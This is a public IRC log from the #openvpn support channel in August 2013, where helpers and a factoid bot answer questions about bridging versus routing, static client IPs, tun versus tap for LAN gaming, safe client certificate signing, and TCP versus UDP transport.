06:52 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:03 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
07:22 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 240 seconds]
07:23 -!- DrCode_ [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
07:27 -!- DrCode_ is now known as DrCode
07:27 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
07:40 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
07:40 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
07:44 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
07:44 -!- rkantos_ [robin@4e.fi] has joined #openvpn
07:44 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
07:45 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:45 -!- Linmu_ [~Linmu@203.70.194.104] has joined #openvpn
07:45 -!- _br_- [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
07:45 -!- trumee_ [~parul@93.186.147.20] has joined #openvpn
07:50 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 246 seconds]
07:50 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 246 seconds]
07:50 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 246 seconds]
07:50 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
07:50 -!- trumee [~parul@93.186.147.20] has quit [Ping timeout: 246 seconds]
07:50 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 246 seconds]
07:50 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 246 seconds]
07:50 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 246 seconds]
07:56 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
07:57 -!- lbft [~lbft@unaffiliated/lbft] has quit [Quit: Bye]
07:57 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
08:08 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:15 -!- fcp [~fcp@a89-153-58-111.cpe.netcabo.pt] has joined #openvpn
08:15 < fcp> hi!
08:16 < fcp> please i need help, can i install the https://openvpn.net/index.php/access-server/download-openvpn-as-sw.html
08:16 <@vpnHelper> Title: Software Packages (at openvpn.net)
08:16 < fcp> or i need to pay any license to use it?
08:17 < fcp> sorry but in openvpn.net is not clear
08:17 < fcp> or the software package have a support and i need to pay a license to have support?
08:17 < fcp> please sorry about that questions but i miss something
08:28 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
08:35 -!- fcp [~fcp@a89-153-58-111.cpe.netcabo.pt] has quit [Quit: Saindo]
08:51 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Quit: Nettalk6 - www.ntalk.de]
09:07 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
09:09 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
09:11 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
09:11 -!- gown [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
09:13 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:14 -!- gown [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
09:30 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
09:31 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
09:33 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
09:56 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:02 < fischli> !as
10:02 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
10:22 -!- Poster|x is now known as Poster
10:25 < nohitall> e
10:41 -!- master_o1_master [~master_of@p4FD7B19B.dip0.t-ipconnect.de] has joined #openvpn
10:44 -!- master_of_master [~master_of@p4FD7B92C.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
11:28 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
12:02 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Ping timeout: 264 seconds]
12:09 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
13:05 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
13:08 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
13:21 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 246 seconds]
13:26 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
13:28 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Excess Flood]
13:35 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
14:00 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Quit: ZNC - http://znc.in]
14:03 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
14:07 -!- JackWinter1 [~jack@vodsl-10021.vo.lu] has joined #openvpn
14:10 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Ping timeout: 240 seconds]
14:17 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
14:26 -!- Devastator [~devas@177.99.152.92] has joined #openvpn
14:37 -!- Devastator [~devas@177.99.152.92] has quit [Changing host]
14:37 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
14:43 -!- stackofc1ts [~stackofca@unaffiliated/stackofcats] has joined #openvpn
14:45 < stackofc1ts> !welcome
14:45 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
14:45 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:46 -!- stackofc1ts is now known as stackofcats
14:46 < stackofcats> !goal
14:46 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:55 < stackofcats> Hi! I use OpenVPN 2.2 in bridged-mode with client-certificates and would like to enhance the lease-time for client-ips, such that a client that reconnects within 7 days, gets the same ip as before. Is that possible and how do I start?
14:55 < pekster> Don't bridge if what you want is quasi-static IPs
14:55 < pekster> !whybridge
14:55 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
14:56 < stackofcats> Thank you, I'll look into that.
14:56 < pekster> See also, !static for assigning static (or using whatever backend code/script you like) to associate static-ish IPs. There's also !ipp, although OpenVPN only treats that as a "suggestion" and will re-use "previously held" IPs if there are no more free ones
14:56 < stackofcats> !static
14:56 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
14:57 < stackofcats> !ipp
14:57 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
14:57 < stackofcats> pekster, thank you very much!
15:00 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
15:02 < stackofcats> ipp is exactly what I want. I just don't like 10 clients a day using the same IP if there are enough free ones in the defined pool ;-)
15:16 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
15:30 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 246 seconds]
15:30 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
15:56 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
15:56 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Max SendQ exceeded]
15:57 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
16:26 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Quit: Textual IRC Client: www.textualapp.com]
16:29 -!- JackWinter1 [~jack@vodsl-10021.vo.lu] has quit [Quit: ZNC - http://znc.in]
16:31 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
16:34 < Rallias> How do I block the routes announced to me by my VPN?
16:34 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Client Quit]
16:38 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
16:38 <@EugeneKay> !route-nopull
16:38 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
16:38 <@vpnHelper> "route-nopull" is If you want to accept pushed options from the server but not apply the routes (including --redirect-gateway) you can use --route-nopull to ignore all pushed routes
16:46 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Remote host closed the connection]
16:49 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
16:53 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
16:55 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
16:58 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection]
16:58 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
17:32 < TheSov> !whybridge
17:32 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
17:42 < kisom> Did I miss something? Is it possble to have layer 2 between clients when using --dev tun?
17:43 < pekster> No
17:43 < kisom> Then that text should be changed
17:43 < pekster> The text is correct
17:44 < kisom> Shit, you're right. Never mind me.
17:53 < BtbN> hm, would it be possible to get clients in the same subnet the server is in, without tap?
17:53 < pekster> No
17:54 < BtbN> I have openvpn on my router, and we use it to get in the same LAN to play lan games online. So i guess my tap setup is the right solution here.
17:54 < pekster> There are hacks like proxy-ARP, but you really don't wan to use stuff like that
17:55 < BtbN> I stopped using the dhcp server on the router, and just removed a small ip range from the dhcp pool and made openvpn assign IPs
17:55 < BtbN> seems to work better
17:55 < pekster> You'd need that only if the protocols your game uses require broadcasts or non-IP traffic (non-IP is very uncommon after the mid-to-late 90's) but broadcasts are sometimes used for "LAN game discovery" protocols. The actual game traffic is almost always unicast
17:56 < pekster> People often find this convenient, so tap can be an advatage there. This said, you don't need to bridge to your physical network if all your clients will be on the VPN anyway
17:56 < BtbN> We tested with a routed tun before, but most games only detect that you're on the same lan if you're in the same subnet
17:56 < pekster> Right; you can simply use the "connect to a host" feature otherwise (again: it's just *discovery* that won't work -- the games themselves will work fine)
17:57 < BtbN> Not all games have this feature
17:57 < pekster> If you want discovery, you at the very least need a standalone tap server
17:57 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
17:57 < BtbN> steam based games
17:57 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Max SendQ exceeded]
17:57 < pekster> "Steam" isn't the protocol the *game* uses
17:57 < BtbN> they automagicaly use a, lagging, relay server
17:57 < BtbN> steam has a unified networking layer
17:57 < BtbN> which almost all steam games use
17:57 < pekster> Not really, because many steam games are also sold in standalone packages you don't need steam for
17:58 < pekster> Thus if you "needed" the "steam networking layer" it wouldn't work without steam (which it does)
17:58 < pekster> So no
17:58 < BtbN> sure, i'm talking about games wich realy depend on steam
17:58 < BtbN> like Age of Empires 2 HD for example
17:58 < BtbN> or Total War Shogun 2
17:58 < pekster> I know; I use steam too. And all it does is launch the game, which then does its own discovery
17:59 < BtbN> they all work exactly the same way, so i assume steam has some shared netcode there
17:59 < BtbN> at least the discovery part
17:59 < BtbN> most of them don't even have direct IP connect, you only connect to a steam friend
18:00 < pekster> Maybe, but it's still the application's responsibility, not the thing launching the application
18:00 < pekster> This is easy enough to see by looking at the application opening the socket; that's all non OpenVPN realted
18:00 < BtbN> It's in the steam SDKs
18:00 < pekster> Fine. And presumably the code does #include <steamNetWhatever.h>
18:01 < pekster> So it's the *APPLICATION* launching the socket, regardless of "who" wrote it. Period.
18:01 < pekster> And again, this is all off-topic as it has zero to do wtih OpenVPN
18:01 < pekster> Broadcast = L2 concept. Unitcast IP = L3 concept
18:01 < pekster> That's all that matters here
18:01 < BtbN> It would work fine with tun, if all machines are using the vpn
18:02 < pekster> Broadcast won't, no
18:02 < BtbN> hm? Shouldn't broadcasts work in a topology subnet VPN?
18:02 < pekster> No
18:02 < pekster> !tunortap
18:02 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
18:02 < pekster> You need to re-read that
18:02 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
18:03 < BtbN> Yeah, tun wouldn't work anyway, as most machines are in the physcial lan the router is serving, and only some are bridged in from the outside
18:04 < pekster> If the LAN's clients are connecting to the VPN server (or you decide to do that) you don't need a bridge; a "route tap" (in this case, a "standalone tap") is enough
18:05 < BtbN> The LAN clients aren't using VPN at all
18:05  * pekster shrugs. It's a valid use-case of tap, and possibly bridging if you actually want to extend the LAN
18:05 < pekster> Right, you miss my point (again.) If they *did* you no longer need the bridge
18:05 < BtbN> it's only used to get people from the outside in
18:05 < pekster> That doesn't change.
18:05 < BtbN> yeah, if all would connect to the VPN, there'd be no need for a bridge
18:05 < pekster> Right. That was all my point was.
18:06 < pekster> No real advantage, just an alternative setup
18:06 < BtbN> but as the bridge is there anyway, i didn't realy care
18:07 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:36 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
18:41 -!- sinnet3000 [~sinnet300@3ee-008.static.bnc4free.com] has joined #openvpn
19:06 -!- sinnet3000 [~sinnet300@3ee-008.static.bnc4free.com] has quit [Remote host closed the connection]
19:07 -!- sinnet300 [~sinnet300@189.173.145.183] has joined #openvpn
19:19 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 264 seconds]
19:26 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
19:30 -!- higuita [~higuita@2001:b18:400f:0:102:fe0c:a45b:24bc] has quit [Ping timeout: 245 seconds]
19:34 -!- master_o1_master [~master_of@p4FD7B19B.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
19:34 -!- higuita [~higuita@2001:b18:400f:0:74f0:c089:93a6:7b29] has joined #openvpn
19:39 -!- databomb [~databomb@cpe-67-240-90-103.nycap.res.rr.com] has joined #openvpn
19:43 -!- master_of_master [~master_of@p4FD7B716.dip0.t-ipconnect.de] has joined #openvpn
19:45 < Haigha> impossible to use <auth-user-pass> like <cert> to embed username/password in config file?
19:46 < pekster> In the config file, yes. See --auth-user-pass for how you can provide it in an external plaintext file though
19:46 < pekster> (and consider if you want your credentials in a plaintext file in the first place)
19:47 < pekster> Optionally you may use the --management interface with the same drawback that it must pull the credentials from somewhere
19:47 < Haigha> so i think i'm gonna need to generate a private key for each client
19:49 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
19:50 < Haigha> does not seems to me a good idea to let the web app access the CA private key
19:56 < Haigha> pekster: thanks for the answer. do you have an idea how i could generate client certs from a python web app ?
20:05 < Dar1us> the only way is to allow it access to teh private key
20:06 -!- sinnet300 [~sinnet300@189.173.145.183] has quit []
20:18 < pekster> Write a backend that generates the keys; that's not really a task openvpn can help you with (how you make your certs/keys is no concern to openvpn.) This said, it's far more secure to have the clients generate the keys and send the csr to the server and have the signed cert sent back to the client (doesn't even need to be the VPN server, and ideally isn't)
20:22 < Haigha> Thank you. That's a very good thing to separate the VPN server and the key generation
20:27 <@EugeneKay> I'm sure Python has a lib or five to handle x509 certificate generation
20:28 <@EugeneKay> I don't know that I would do it online, though. Have users submit their CSR "for approval"
20:29 <@EugeneKay> Make that send you an email, and dump the CSR to a directory. You can login manually and run an approval script which reads out the CSR, asks for the private key passphrase, signs the certificate, then sends the resulting crt back to the user.
20:29 <@EugeneKay> Unencrypted private keys are a $BAD_IDEA
20:34 < TheSov> try to use an encrypted private key on an apache server
20:35 < Haigha> EugeneKay: thank you, i'm going to do that
20:35 < pekster> That also has nothing to do with openvpn. This said, one could use unencrypted private keys stored on an encrypted volume that is mounted once at boot time to improve security against physical theft of the system's disk
20:35 < pekster> (that applies to any system that uses keys that encrypting would be problematic for, such as service restarts)
20:37 < Haigha> a username/password authentication for most of the users, and manual key signing for "advanced" users
20:37 < pekster> A queued CSR inbox followed by manual approval with an interactive password that protects the CA is a smart idea. Failing that, keeping any "online signing CAs", *especially* automatic ones, should be subordinate CAs if revocation is at all a concern, or system compromise (I wouldn't ever run a root-CA on an online box that has a CGI web frontend... that's just asking to be attacked)
20:39 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
20:40 -!- Devastator [~devas@177.99.152.92] has joined #openvpn
20:41 < Haigha> thank you all,
20:43 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
20:44 -!- Cubox [cubox@unaffiliated/cubox] has left #openvpn ["WeeChat 0.4.0"]
20:54 -!- kirin` [telex@gateway/shell/anapnea.net/x-jxivylibkqstzeht] has quit [Ping timeout: 264 seconds]
20:55 -!- kirin` [telex@gateway/shell/anapnea.net/x-pgmwzrslqzreaubr] has joined #openvpn
21:23 -!- databomb [~databomb@cpe-67-240-90-103.nycap.res.rr.com] has quit [Ping timeout: 246 seconds]
22:18 -!- Devastator [~devas@177.99.152.92] has quit [Changing host]
22:18 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
22:21 -!- aegis [~aegis@184.75.221.42] has joined #openvpn
22:43 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
22:45 -!- cyberspace- [20253@109.74.194.224] has joined #openvpn
23:15 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
23:40 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 264 seconds]
--- Day changed Sun Aug 11 2013
00:22 <@EugeneKay> Actually, "asking" is running ANY web service, but i digress
00:46 -!- crus` [~crusader@2001:44b8:319e:2900:fceb:b75b:2e5f:8880] has quit [Read error: Connection reset by peer]
01:39 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
02:16 <@EugeneKay> !man
02:16 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
02:20 -!- walp [~walp@unaffiliated/walp] has quit [Quit: leaving]
02:34 -!- sinnet300 [~sinnet300@189.173.145.183] has joined #openvpn
02:46 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 264 seconds]
02:48 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
03:45 -!- sinnet300 [~sinnet300@189.173.145.183] has quit []
03:46 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has quit [Ping timeout: 245 seconds]
03:55 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Quit: Leaving]
04:09 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
04:09 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
04:21 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
04:21 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Max SendQ exceeded]
05:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:09 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit []
05:24 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
05:24 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:34 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
05:42 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
06:00 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
06:02 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
06:07 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:09 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:13 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:14 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:38 -!- nutron [~nutron@unaffiliated/nutron] has quit [Read error: Connection timed out]
06:39 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
06:43 -!- spacedust [~info@unaffiliated/cosmicblue] has joined #openvpn
06:43 < spacedust> hi
06:44 < spacedust> im trying to set up a vpn over a distance of 1700 km / latency being around 60ms, what encapsulation would you recommend ? tcp or udp ?
06:45 < Dar1us> always UDP
06:45 < fischli> spacedust: always prefer udp if possile
06:45 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
06:46 < fischli> *possible
06:46 < spacedust> fischli: it's the same way with me also :) but lately i have been asked to explain why by a friend who also works in the same area ... tryed to be couldnt really :) and after searching for answers on the internet we found some forum posts that said for longer distances tcp would be a better choice ...
06:46 < spacedust> Dar1us: i never even used OpenVPN over tcp to be honest :D
06:47 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:47 < Dar1us> spacedust: it's useful if you want a VPN and the network you're on is administered by control freaks
06:47 < Dar1us> since you can usually run it vover the https proxy
06:48 < spacedust> Dar1us: that is if you use tcp ?
06:48 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
06:57 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
07:06 < jzaw> spacedust, i use openvpn over tcp ... works better form me ... one of my end points is on a very lossy network so sip calls can be udp over udp ... thus doubly lossy ... tcp helps with that
07:08 < BtbN> why should udp over udp be double lossy?
07:09 < jzaw> ok so it isnt ... but actually udp over non vpn was appauling
07:10 < jzaw> that said tcp over tcp can be problematic apparently
07:10 < jzaw> though ive never had issues with it
07:11 < jzaw> but i can say udp over udp was eually appauling to udp over non vpn ... where as udp over tcp works rather well
07:11 < jzaw> s/eually/equally
07:11 < spacedust> jzaw: i dont get anything of what your saying :)
07:12 < spacedust> if it's lossy then tcp will do have a hard time fighting that ...
07:12 < jzaw> tcp over udp ... the tcp takes care of itself wrt resends etc
07:13 < spacedust> but yes in the end you will get a probbaly really high latency stable vpn line ... over which udp works better ... imho ...
07:13 < jzaw> tcp over tcp ... you can get into race conditions where you get very low rates of transfer
07:14 < jzaw> there is some argument and for me it's borne out empirically that if you have a lossy path tcp is a good choice
07:20 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
07:42 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
08:33 -!- klein [~klein@177.101.106.67] has joined #openvpn
08:33 -!- klein [~klein@177.101.106.67] has quit [Changing host]
08:33 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
09:14 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
09:15 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Client Quit]
09:15 -!- Mcloven [~Mcloven@203.122.218.215] has joined #openvpn
09:17 -!- Mcloven [~Mcloven@203.122.218.215] has quit [Client Quit]
09:29 -!- Joal [~joacl@ti0021a380-dhcp3769.bb.online.no] has joined #openvpn
09:30 < Joal> hey
09:31 < Joal> ok. i installed openvpn, (in terminal),  and I followed tutorial on how to use the securityKISS openvpn service. I connect, and it seems connected, but in browser there is no connection found. Im using Mint 15
09:42 < Joal> anyone got a clue how to fix this?
09:42 < Joal> do I need to allow the port in firewall?
09:51 -!- jonathancazaerck [~jonathanc@178-118-11-136.access.telenet.be] has joined #openvpn
09:51 < jonathancazaerck> hello everyone… I've a question about OpenVPN routing mode
09:52 < Joal> embrace yourself for a long waiting-time...I posted a question 20 minutes ago, still no answer. :P
09:54 < jonathancazaerck> Joal, Okay
09:55 -!- jonathancazaerck [~jonathanc@178-118-11-136.access.telenet.be] has left #openvpn ["Ik ga weg"]
09:56 -!- klein [~klein@unaffiliated/klein] has quit [Quit: Leaving]
10:01 < Joal> or maybe just no-one knows the answer to my issue...?
10:01 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
10:02 < pekster> !provider
10:02 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
10:02 < pekster> Joal: OpenVPN doesn't "find connections" for your browser -- OpenVPN creates a secure tunnel between two endpoints. Optionally it has some semantics to handle routing and addressing across the tunnel
10:03 < pekster> Maybe you're looking for,
10:03 < pekster> !redirect
10:03 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:03 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
10:04 < Joal> pekster:I dont quite understand what ur point is...I have connected to the securitykiss openvpn, which says it should allow me secure surfing etc...
10:05 < Joal> and so, It works just fine, untill I open the browser
10:05 < pekster> Do *you* control the VPN server and have config files for it?
10:05 < Joal> Im connected, but theres no connection in the browser it seems
10:05 < pekster> !both
10:05 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
10:06 < Joal> so, u say the problem should be with security kiss?
10:07 < Joal> nothing u can help me with..?
10:08 < Joal> i tried several servers even, listed at securitykiss, but none seem to work, or they work, but in browser there is no connection
10:17 -!- Joal [~joacl@ti0021a380-dhcp3769.bb.online.no] has quit [Quit: Leaving]
10:18 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Quit: leaving]
10:22 -!- nutron [~nutron@unaffiliated/nutron] has quit [Read error: Connection timed out]
10:23 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
10:25 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
10:51 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
10:51 -!- Devastator [~devas@186.214.110.95] has joined #openvpn
10:52 -!- Devastator [~devas@186.214.110.95] has quit [Changing host]
10:52 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
11:09 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:19 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 240 seconds]
11:26 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
11:30 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
11:31 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
